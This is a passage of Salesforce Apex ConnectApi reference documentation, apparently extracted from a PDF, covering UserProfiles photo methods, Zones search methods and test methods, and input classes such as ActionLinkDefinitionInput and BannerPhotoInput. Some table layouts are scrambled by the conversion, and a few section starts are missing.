setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)
Set the user banner photo to a file that hasnt been uploaded and requires cropping.
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.

1301

Reference

UserProfiles Class

deleteBannerPhoto(communityId, userId)
Delete a user banner photo.

API Version
36.0

Requires Chatter
No

Signature
public static Void deleteBannerPhoto(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
ID of the user.

Return Value
Type: Void

deletePhoto(communityId, userId)
Deletes the specified users photo.

API Version
35.0

Requires Chatter
No

Signature
public static Void deletePhoto(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1302

Reference

UserProfiles Class

userId

Type: String
The ID for the context user or the keyword me.

Return Value
Type: Void

getBannerPhoto(communityId, userId)
Get a user banner photo.

API Version
36.0

Requires Chatter
No

Signature
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
ID of the user.

Return Value
Type: ConnectApi.BannerPhoto

getPhoto(communityId, userId)
Returns information about the specified users photo.

API Version
35.0

Available to Guest Users

35.0

1303

Reference

UserProfiles Class

Requires Chatter
No

Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.Photo
SEE ALSO:
Methods Available to Communities Guest Users

getUserProfile(communityId, userId)
Returns the user profile of the context user.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserProfile getUserProfile(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.

1304

Reference

UserProfiles Class

Set the user banner photo to a file that hasnt been uploaded and requires cropping.

API Version
36.0

Requires Chatter
No

Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String userId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput
fileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
ID of the user.
bannerPhoto
Type: ConnectApi.BannerPhotoInput

1307

Reference

UserProfiles Class

A ConnectApi.BannerPhotoInput object specifying the cropping parameters.

fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.BannerPhoto

Usage
Photos are processed asynchronously and may not be visible right away.

setPhoto(communityId, userId, fileId, versionNumber)

Sets the user photo to be the specified, already uploaded file.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, String
fileId, Integer versionNumber)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
fileId

Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.
versionNumber

Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.

1308

Reference

UserProfiles Class

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

setPhoto(communityId, userId, fileUpload)

Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId,
ConnectApi.BinaryInput fileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

setPhotoWithAttributes(communityId, userId, photo)

Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.

1309

Reference

UserProfiles Class

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

setPhotoWithAttributes(communityId, userId, photo, fileUpload)

Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)

1310

Reference

Zones Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone
having its own focus and unique questions.

Namespace
ConnectApi

Zones Methods
The following are methods for Zones. All methods are static.
IN THIS SECTION:
getZone(communityId, zoneId)
Returns a specific zone based on the zone ID.
getZones(communityId)
Returns a paginated list of zones.
getZones(communityId, pageParam, pageSize)
Returns a paginated list of zones with the specified page and page size.
searchInZone(communityId, zoneId, q, filter)
Search a zone by keyword. Specify whether to search articles or questions.

1311

Reference

Zones Class

searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)

Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page
size.
searchInZone(communityId, zoneId, q, filter, language)
Search a zone by keyword. Specify the language of the results and specify whether to search articles or questions.

getZone(communityId, zoneId)
Returns a specific zone based on the zone ID.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.Zone getZone(String communityId, String zoneId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
zoneId

Type: String
The ID of a zone.

Return Value
Type: ConnectApi.Zone

getZones(communityId)
Returns a paginated list of zones.

API Version
29.0

Requires Chatter
No

1312

Reference

Zones Class

Signature
public static ConnectApi.ZonePage getZones(String communityId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ZonePage

getZones(communityId, pageParam, pageSize)

Returns a paginated list of zones with the specified page and page size.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.Zone getZones(String communityId, Integer pageParam, Integer
pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ZonePage

1313

Reference

Zones Class

searchInZone(communityId, zoneId, q, filter)

Search a zone by keyword. Specify whether to search articles or questions.

API Version
29.0

Available to Guest Users

37.0

Requires Chatter
No

Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
zoneId

Type: String
zoneIdThe ID of a zone.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter

Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
ArticleSearch results contain only articles.
QuestionSearch results contain only questions.

Return Value
Type: ConnectApi.ZoneSearchPage

1314

Reference

Zones Class

searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)

Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page
size.

API Version
29.0

Available to Guest Users

37.0

Requires Chatter
No

Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
zoneId

Type: String
zoneIdThe ID of a zone.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter

Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
ArticleSearch results contain only articles.
QuestionSearch results contain only questions.

1315

Reference

Zones Class

pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ZoneSearchPage

searchInZone(communityId, zoneId, q, filter, language)

Search a zone by keyword. Specify the language of the results and specify whether to search articles or questions.

API Version
36.0

Available to Guest Users

37.0

Requires Chatter
No

Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter, String language)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1316

Reference

Zones Class

zoneId

Type: String
The ID of a zone.
q

Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter

Type: ConnectApi.ZoneSearchResultType
ArticleSearch results contain only articles.
QuestionSearch results contain only questions.
language

Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code.

Return Value
Type: ConnectApi.ZoneSearchPage

Zones Test Methods

The following are the test methods for Zones. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestSearchInZone(communityId, zoneId, q, filter, result)

Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter) is called in a test context.

API Version
29.0

Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, ConnectApi.ZoneSearchPage result)

1317

Reference

Zones Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
zoneId

Type: String
zoneIdThe ID of a zone.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter

Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
ArticleSearch results contain only articles.
QuestionSearch results contain only questions.
result

Type: ConnectApi.ZoneSearchPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchInZone(communityId, zoneId, q, filter)
Testing ConnectApi Code

setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize,

result)
Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter, pageParam, pageSize) is called in a test context.

API Version
29.0

Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize,
ConnectApi.ZoneSearchPage result)

1318

Reference

Zones Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
zoneId

Type: String
zoneIdThe ID of a zone.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter

Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
ArticleSearch results contain only articles.
QuestionSearch results contain only questions.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result

Type: ConnectApi.ZoneSearchPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchInZone(communityId, zoneId, q, filter, language, result)

Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter, language) is called in a test context.

API Version
36.0

1319

Reference

ConnectApi Input Classes

Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, String language, ConnectApi.ZoneSearchPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
zoneId

Type: String
The ID of a zone.
q

Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter

Type: ConnectApi.ZoneSearchResultType
ArticleSearch results contain only articles.
QuestionSearch results contain only questions.
language

Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code. In an <apex:page>, the default
value is the language of the page. Otherwise, the default value is the user's locale.
result

Type: ConnectApi.ZoneSearchPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchInZone(communityId, zoneId, q, filter, language)
Testing ConnectApi Code

ConnectApi Input Classes

Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
Input classes are concrete unless marked abstract in this documentation. Concrete input classes have public constructors that have no
parameters.
Some methods have parameters that are typed with an abstract class. You must pass in an instance of a concrete child class for these
parameters.

1320

Reference

ConnectApi Input Classes

Most input class properties can be set. Read-only properties are noted in this documentation.

ConnectApi.ActionLinkDefinitionInput Class
The definition of an action link. An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate
a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can
include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and
third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

Usage
You can use context variables in the actionUrl, headers, and requestBody properties. Use context variables to pass information
about the user who executed the action link to your server-side code. Salesforce substitutes the value when the action link is executed.
These are the available context variables:
Context Variable

Description

{!actionLinkId}

The ID of the action link the user executed.

{!actionLinkGroupId}

The ID of the action link group containing the action link the user
executed.

{!communityId}

The ID of the community in which the user executed the action

link. The value for your internal organization is the empty key
"000000000000000000".

{!communityUrl}

The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".

{!orgId}

The ID of the organization in which the user executed the action

link.

{!userId}

The ID of the user that executed the action link.

Property

Type

Description

actionType

ConnectApi.
Defines the type of action link. Values are:
ActionLinkType ApiThe action link calls a

synchronous API at the action URL.

Salesforce sets the status to
SuccessfulStatus or
FailedStatus based on the HTTP
status code returned by your server.
ApiAsyncThe action link calls an
asynchronous API at the action URL. The
action remains in a PendingStatus
state until a third party makes a request
to
/connect/action-links/actionLinkId

1321

Required or
Optional

Available Version

Required

33.0

Can be defined in an
action link template.

Reference

Property

ConnectApi Input Classes

Type

Description

Required or
Optional

Available Version

to set the status to

SuccessfulStatus or
FailedStatus when the

asynchronous operation is complete.

DownloadThe action link
downloads a file from the action URL.
UiThe action link takes the user to a
Web page at the action URL.
Use Ui if you need to load a page before
the user performs an action, for example, to
have the user provide input or view
something before the action happens.
Note: Invoking ApiAsync action
links from an app requires a call to
set the status. However, there isnt
currently a way to set the status of
an action link using Apex. To set the
status, use Chatter REST API. See the
Action Link resource in the Chatter
REST API Developer Guide for more
information.
actionUrl

String

The action link URL. For example, a Ui

Required
33.0
action link URL is a Web page. A
Can be defined in an
Download action link URL is a link to the action link template.
file to download. Ui and Download
action link URLs are provided to clients. An
Api or ApiAsync action link URL is a
REST resource. Api and ApiAsync
action link URLs arent provided to clients.
Links to Salesforce can be relative. All other
links must be absolute and start with
https://.
Tip: To avoid issues due to upgrades
or changing functionality in your API,
we recommend using a versioned
API for actionUrl, for example,
https://www.example.com/
api/v1/exampleResource.

If your API isnt versioned, you can

use the expirationDate
property of the
ConnectApi.ActionLinkGroup
DefinitionInput class to

1322

Reference

Property

ConnectApi Input Classes

Type

Description

Required or
Optional

Available Version

Optional

33.0

avoid issues due to upgrades or

changing functionality in your API.
excludedUserId String

ID of a single user to exclude from

performing the action. If you specify an
excludedUserId, you cant specify a
userId.

Can be defined in an
action link template
using the User
Visibility and
Custom User
Alias fields.

groupDefault

Boolean

true if this action is the default action link Optional

33.0
in the action link group; false otherwise. Can be defined in an

There can be only one default action link action link template.
per action link group. The default action link
gets distinct styling in the Salesforce UI.
headers

List<ConnectApi. The request headers for the Api and

Optional
33.0
RequestHeader ApiAsync action link types.
Can be defined in an
Input>
See Action Links Overview, Authentication, action link template.
and Security.

labelKey

String

Key for the set of labels to show in the user Required

33.0
interface. A set includes labels for these
Can be defined in an
states: NewStatus, PendingStatus,
action link template.
SuccessStatus, FailedStatus. For example, if
you use the Approve key, you get these
labels: Approve, Pending, Approved, Failed.
For a complete list of keys and labels, see
Action Links Labels.
If none of the predefined labels work for
your action link, use a custom label. To use
a custom label, create an action link
template. See Create Action Link Templates.

method

ConnectApi.
HttpRequest
Method

One of these HTTP methods:

Required

HttpDeleteReturns HTTP 204 on Can be defined in an

success. Response body or output class action link template.
is empty.
HttpGetReturns HTTP 200 on
success.
HttpHeadReturns HTTP 200 on
success. Response body or output class
is empty.

1323

33.0

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

Available Version

Optional

33.0

HttpPatchReturns HTTP 200 on

success or HTTP 204 if the response
body or output class is empty.
HttpPostReturns HTTP 201 on
success or HTTP 204 if the response
body or output class is empty.
Exceptions are the batch posting
resources and methods, which return
HTTP 200 on success.
HttpPutReturn HTTP 200 on
success or HTTP 204 if the response
body or output class is empty.
requestBody

String

The request body for Api action links.

Note: Escape quotation mark
characters in the requestBody
value.

requires
Confirmation

Boolean

userId

String

Can be defined in an
action link template.

true to require the user to confirm the

action; false otherwise.

Required

The ID of the user who can execute the

action. If not specified or null, any user
can execute the action. If you specify a
userId, you cant specify an
excludedUserId.

Optional

33.0

Can be defined in an
action link template.
33.0

Can be defined in an
action link template
using the User
Visibility and
Custom User
Alias fields.

SEE ALSO:
ConnectApi.ActionLinkGroupDefinitionInput Class

ConnectApi.ActionLinkGroupDefinitionInput Class
The definition of an action link group. All action links must belong to a group. Action links in a group are mutually exclusive and share
some properties. Define stand-alone actions in their own action group.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from
the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the
call must have created the definition or have View All Data permission.

1324

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

actionLinks

List<ConnectApi. The action links that make up this group.

Required to
ActionLink
Within an action link group, action links are instantiate this
action link group
DefinitionInput> displayed in the order listed in the

Available Version
33.0

without a template.
actionLinks property of the
ConnectApi.ActionLinkGroup To instantiate from a
DefinitionInput class. Within a feed template, dont

item, action link groups are displayed in the specify a value.

order specified in the
actionLinkGroupIds property of
the
ConnectApi.AssociatedActions
CapabilityInput class.

You can create up to three action links in a

Primary group and up to four in an
Overflow group.
category

ConnectApi.
Indicates the priority and relative locations Required to
PlatformAction of action links in an associated feed item. instantiate this
action link group
GroupCategory Values are:

PrimaryThe action link group is

displayed in the body of the feed
element.

33.0

without a template.

To instantiate from a
template, dont
OverflowThe action link group is specify a value.
displayed in the overflow menu of the
feed element.
executions
Allowed

ConnectApi.
Defines the number of times an action link Required to
can be executed. Values are:
instantiate this
ActionLink
ExecutionsAllowed OnceAn action link can be executed action link group

only once across all users.

OncePerUserAn action link can
be executed only once for each user.
UnlimitedAn action link can be
executed an unlimited number of times
by each user. If the action links
actionType is Api or
ApiAsync, you cant use this value.
expirationDate Datetime

33.0

without a template.
To instantiate from a
template, dont
specify a value.

ISO 8601 date string, for example,

Required to
33.0
2011-02-25T18:24:31.000Z, that represents instantiate this
action link group
without a template.

1325

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

Available Version

the date and time this action link group is Optional to

removed from associated feed items and instantiate from a
can no longer be executed. The
template.
expirationDate must be within one
year of the creation date.
If the action link group definition includes
an OAuth token, it is a good idea to set the
expiration date of the action link group to
the same value as the expiration date of the
OAuth token so that users cant execute the
action link and get an OAuth error.
To set a date when instantiating from a
template, see Set the Action Link Group
Expiration Time.
templateBindings List<ConnectApi. A collection of key-value pairs to fill in
ActionLinkTemplate binding variable values or a custom user
BindingInput> alias from an action link template. To

templateId

String

To instantiate
33.0
without a template,
dont specify a value.

instantiate this action link group from an

action link template that uses binding
variables, you must provide values for all the
variables. See Define Binding Variables.

Required to
instantiate this
action link group
from a template that
uses binding
variables.

The ID of the action link group template

from which to instantiate this action link
group.

To instantiate
33.0
without a template,
dont specify a value.
Required to
instantiate this
action link group
from a template.

until 11:59 p.m. on this date unless another
announcement is posted first. The Salesforce
UI ignores the time value in the
expirationDate. However, you can use
the time value to create your own display
logic in your own UI.

Required for
creating an
announcement
Optional for
updating an
announcement

ID of an AdvancedTextPost feed item Required for

creating an
that is the body of the announcement.
announcement if
body isnt
specified
Dont specify for
updating an
announcement.

1327

31.0

36.0

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

Available

isArchived

Boolean

Specifies whether the announcement is

archived.

Optional

36.0

parentId

String

ID of the parent entity for the announcement, Required for

that is, a group ID when the announcement creating an
appears in a group.
announcement if

36.0

feedItemId

isnt specified
Dont specify for
updating an
announcement.
sendEmails

Boolean

Specifies whether the announcement is sent

as an email to all group members regardless
of their email setting for the group. If Chatter
emails arent enabled for the organization,
announcement emails arent sent. Default
value is false.

Optional for
creating an
announcement

36.0

Dont specify for

updating an
announcement

SEE ALSO:
postAnnouncement(communityId, groupId, announcement)

ConnectApi.AssociatedActionsCapabilityInput Class
A list of action link groups to associate with a feed element. To associate an action link group with a feed element, the call must be made
from the Apex namespace that created the action link definition. In addition, the user making the call must have created the definition
or have View All Data permission.
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.

1328

Reference

ConnectApi Input Classes

Property

Type

Description

Required or
Optional

actionLink
GroupIds

List<String>

The action link group IDs to associate with Required

the feed element. Associate one Primary
and up to 10 total action link groups to a
feed item. Action link groups are returned
in the order specified in this property.

Available Version
33.0

An action link group ID is returned from a

call to
ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) on page 762.

SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput

ConnectApi.AudienceCriteriaInput
Recommendation audience criteria type.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
ConnectApi.CustomListAudienceCriteriaInput
ConnectApi.NewUserAudienceCriteriaInput
Property

Type

Description

type

ConnectApi.
Specifies the recommendation audience
Recommendation criteria type. One of these values:
Audience
CustomListA custom list of users
CriteriaType
makes up the audience.

Required or
Optional

Available Version

Optional

36.0

If not specified,
defaults to
CustomList.

MaxDaysInCommunityNew
community members make up the
audience.

ConnectApi.BannerPhotoInput
A banner photo.
Property

Type

Description

Required or
Optional

Available Version

cropHeight

Integer

Height of the crop rectangle in pixels.

Optional

36.0

cropWidth

Integer

Width of the crop rectangle in pixels.

Optional

36.0

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Property

Type

Description

Required or
Optional

Available Version

cropX

Integer

X position of the crop rectangle from the

left edge of the image in pixels. Top left is
position (0,0).

Optional

36.0

cropY

Integer

Y position of the crop rectangle from the

top edge of the image in pixels. Top left is
position (0,0).

Optional

36.0

fileId

String

ID of an existing file. The key prefix must be Required

069, and the file size must be less than 8 MB.

36.0

Note: Images uploaded on the

Group page and on the User page
dont have file IDs and therefore cant
be used.
versionNumber Integer

Version number of an existing file. If not

provided, the latest version is used.

Optional

36.0

ConnectApi.BinaryInput Class
Create a ConnectApi.BinaryInput object to attach files to feed items and comments.
The constructor is:
ConnectApi.BinaryInput(blob, contentType, filename)

The constructor takes these arguments:

Argument

Type

Description

Available Version

blob

Blob

Contents of the file to be used for input

28.0

contentType

String

MIME type description of the content, such as image/jpg

28.0

filename

String

File name with the file extension, such as UserPhoto.jpg

28.0

SEE ALSO:
Post a Feed Element with a New File (Binary) Attachment
Post a Comment with a New File

ConnectApi.BatchInput Class
Construct a set of inputs to be passed into a method at the same time.
Use this constructor when there isnt a binary input:
ConnectApi.BatchInput(Object input)

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Use this constructor to pass one binary input:

ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)

Use this constructor to pass multiple binary inputs:

ConnectApi.BatchInput(Object input, List<ConnectApi.BinaryInput> binaries)

The constructors takes these parameters:

Argument

Type

Description

Available
Version

input

Object

An individual input object to be used in the batch 32.0

Optional. The description of the canvas app.

29.031.0

developerName

String

The developer name (API name) of the canvas app

29.031.0

height

String

Optional. The height of the canvas app in pixels. Default height is 200
pixels.

29.031.0

namespacePrefix String

Optional. The namespace prefix of the Developer Edition organization in 29.031.0

which the canvas app was created.

String

Optional. Parameters passed to the canvas app in JSON format. Example: 29.031.0

parameters

{'isUpdated'='true'}

thumbnailUrl

String

Optional. A URL to a thumbnail image for the canvas app. Maximum

dimensions are 120x120 pixels.

29.031.0

title

String

The title of the link used to call the canvas app.

29.031.0

ConnectApi.CanvasCapabilityInput
Create or update a canvas app associated with a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Property

Type

Description

Required or
Optional

Available Version

description

String

A description of the canvas app. The

maximum size is 255 characters.

Optional

32.0

developerName String

The API name (developer name) of the

connected app.

Required

32.0

String

The height of the canvas app in pixels.

Optional

32.0

A unique namespace prefix for the canvas

app.

Optional

32.0

height

namespacePrefix String

parameters

ConnectApi.ChatterGroupInput Class
Property

Type

Description

Available

announcement

String

The 18-character ID of an announcement.

31.0

An announcement displays in a designated location in the

Salesforce UI until 11:59 p.m. on its expiration date, unless its
deleted or replaced by another announcement.
canHave
ChatterGuests

Boolean

true if this group allows Chatter customers, false otherwise. 29.0

After this property is set to true, it cannot be set to false.

description

String

The Description section of the group

29.0

information

ConnectApi.
Group
Information
Input

The Information section of a group. In the Web UI, this section

is above the Description section. If the group is private, this
section is visible only to members.

28.0

isArchived

Boolean

true if the group is archived, false otherwise. Defaults to

false.

29.0

isAuto
Boolean
ArchiveDisabled

true if automatic archiving is turned off for the group, false 29.0
otherwise. Defaults to false.

name

String

The name of the group

29.0

owner

String

The ID of the group owner. This property is available for PATCH

requests only.

29.0

visibility

ConnectApi.
Specifies the group visibility type.
GroupVisibilityType PrivateAccessOnly members of the group can see

29.0

posts to this group.

PublicAccessAll users within the community can see
posts to this group.
UnlistedReserved for future use.

SEE ALSO:
createGroup(communityId, groupInput)
updateGroup(communityId, groupId, groupInput)

ConnectApi.CommentInput Class
Used to add rich comments, for example, comments that include @mentions or attachments.

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Reference

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Property

Type

Description

Available
Version

attachment

ConnectApi.FeedItem Optional. Specifies an attachment for the comment. Valid 28.031.0

values are:
AttachmentInput
Class
ContentAttachmentInput

NewFileAttachmentInput
LinkAttachmentInput is not permitted for

comments.
Important: As of version 32.0, use the
capabilities property.
body

ConnectApi.Message Description of message body. The body can contain up 28.0

to 10,000 characters and 25 mentions. Because the
BodyInput Class

character limit can change, clients should make a

describeSObjects() call on the FeedItem or
FeedComment object and look at the length of the
Body or CommentBody field to determine the
maximum number of allowed characters.
To edit this property in a comment, use
updateComment(communityId,
commentId, comment). Editing comments is

supported in version 34.0 and later.

capabilities

ConnectApi.
Optional. Specifies any capabilities for the comment,
CommentCapabilitiesInput such as a file attachment.

32.0

SEE ALSO:
Post a Comment with a Mention
Post a Comment with a New File
Post a Comment with an Existing File
Edit a Comment
postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)

ConnectApi.CommentCapabilitiesInput
A container for all capabilities that can be included with a comment.
Property

Type

Description

Required or
Optional

content

ConnectApi.
Describes content added to this comment. Optional
ContentCapability
Input

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Available Version
32.0

Reference

ConnectApi Input Classes

ConnectApi.ContentAttachmentInput Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.
Used to attach existing content to a comment or feed item.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Property

Type

contentDocumentId String

Description

Available Version

ID of the existing content.

28.031.0

ConnectApi.ContentCapabilityInput
Attach or update a file on a comment. Use this class to attach a new file or update a file that has already been uploaded to Salesforce.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
To attach or remove files from a feed post (instead of a comment) in version 36.0 and later, use ConnectApi.
FilesCapabilityInput.
Property

Type

Description

Required or
Optional

content
DocumentId

String

ID of the existing content.

Required for existing 32.0

content

description

String

Description of the file to be uploaded.

Optional

32.0

Sharing option of the file. Values are:

Optional

35.0

sharingOption ConnectApi.
FileSharing
Option

Available Version

AllowedResharing of the file is

allowed.
RestrictedResharing of the file
is restricted.

title

String

Title of the file. This value is used as the file Required for new
name for new content. For example, if the content
title is My Title, and the file is a .txt file, the
file name is My Title.txt.

SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput

ConnectApi.CustomListAudienceCriteriaInput
The criteria for the custom list type of recommendation audience.
Subclass of ConnectApi.AudienceCriteriaInput.

1335

32.0

Reference

ConnectApi Input Classes

Property

Type

Description

member
ConnectApi.
The operation to carry out on the audience
OperationType Recommendation members. Values are:
AudienceMember AddAdds specified members to the
OperationType
audience.

RemoveRemoves specified
members from the audience.

members

List<String>

A collection of user IDs.

Required or
Optional

Available Version

Required to update
a recommendation
audience

36.0

Dont use or specify

null to create a
recommendation
audience
Required to update
a recommendation
audience

36.0

When updating an audience, you can

include up to 100 members. An audience
can have up to 100,000 members, and each Dont use or specify
community can have up to 100 audiences. null to create a
recommendation
audience

ConnectApi.DatacloudOrderInput Class
Input representation for a Datacloud order to purchase contacts or companies and retrieve purchase information.
Property

Type

Description

Required or
Optional

Available
Version

companyIds

String

A comma-separated list of
identification numbers for the
companies to be purchased.

Required to
purchase
companies

32.0

Required to
purchase
contacts

32.0

Optional

32.0

You cant include any contact IDs or

your purchase fails.
contactIds

String

A comma-separated list of
identification numbers for the
contacts to be purchased.
You cant include any company IDs
or your purchase fails.

userType

ConnectDatacloudUserTypeEnum

Indicates the Data.com user type to

be used. There are two user types.
Monthly (default)
Listpool

ConnectApi Input Classes

ConnectApi.FeedElementCapabilitiesInput
A container for all capabilities that can be included when creating a feed element.
Property

Type

associated
Actions

Description

Required or
Optional

Available Version

ConnectApi.
Describes actions added to this feed
AssociatedActions element.
CapabilityInput
Class

Optional

33.0

bookmarks
